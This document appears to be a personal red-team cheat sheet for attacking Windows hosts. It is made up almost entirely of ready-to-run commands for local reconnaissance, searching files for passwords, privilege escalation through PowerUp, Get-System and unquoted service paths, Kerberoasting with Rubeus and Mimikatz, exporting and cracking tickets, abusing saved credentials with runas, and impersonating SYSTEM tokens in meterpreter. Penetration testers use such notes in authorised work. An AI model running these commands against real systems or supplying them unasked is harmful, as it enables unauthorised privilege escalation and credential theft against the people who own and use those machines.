Red Teaming

Windows

Red Team notes for Windows

Recon

# Systeminfo
systeminfo
hostname

# Especially good with hotfix info
wmic qfe get Caption,Description,HotFixID,InstalledOn

# What users/localgroups are on the machine?
net users
net localgroups
net user morph3

# To see domain groups if we are in a domain
net group /domain
net group /domain 

# Network information
ipconfig /all
route print
arp -A

# To see what tokens we have 
whoami /priv

# Recursive string scan
findstr /spin "password" *.*

# Running processes
tasklist /SVC

# Network connections
netstat -ano

# Search for writeable directories
dir /a-r-d /s /b

### Some good one-liners
# Obtain the path of the executable called by a Windows service (good for checking Unquoted Paths):
sc query state= all | findstr "SERVICE_NAME:" >> a & FOR /F "tokens=2 delims= " %i in (a) DO @echo %i >> b & FOR /F %i in (b) DO @(@echo %i & @echo --------- & @sc qc %i | findstr "BINARY_PATH_NAME" & @echo.) & del a 2>nul & del b 2>nul

Elevation of Privileges

General

# PowerShellMafia
# Use always dev branch others are shit.
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
powershell.exe -c "Import-Module C:\Users\Public\PowerUp.ps1; Invoke-AllChecks"
powershell.exe -c "Import-Module C:\Users\Public\Get-System.ps1; Get-System"

# Sherlock
https://github.com/rasta-mouse/Sherlock

# Unquoted paths
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

Kerberoast

For kerberos to work, times have to be within 5 minutes between attacker and victim.

# Rubeus 
.\.rubeus.exe kerberoast /creduser:ecorp\morph3 /credpassword:pass1234

# List available tickets
setspn.exe -t evil.corp -q */*

# List cached tickets
Invoke-Mimikatz -Command '"kerberos::list"'
powershell.exe -c "klist"
powershell.exe -c "Import-Module C:\Users\Public\Invoke-Mimikatz.ps1; Invoke-Mimikatz -Command '"kerberos::list"'"

# Request tickets 
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.medin.local"

# Requesting from outside
python GetUserSPNs.py -request ECORP/morph3:supersecurepassword@127.0.0.1

# Export tickets
powershell.exe -c "Import-Module C:\Users\Public\Invoke-Kerberoast.ps1; Invoke-Kerberoast -OutputFormat Hashcat"
Invoke-Mimikatz -Command '"kerberos::list /export"'

# Crack Tickets
python tgsrepcrack.py /usr/share/wordlists/rockyou.txt ticket.kirbi

Stored Credential

# To check if there is any stored keyscmdkey /list
# Using them
runas /user:administrator /savecred "cmd.exe /k whoami"

Impersonating Tokens with meterpreter

use incognito
list_tokens -u
impersonate_token NT-AUTHORITY\System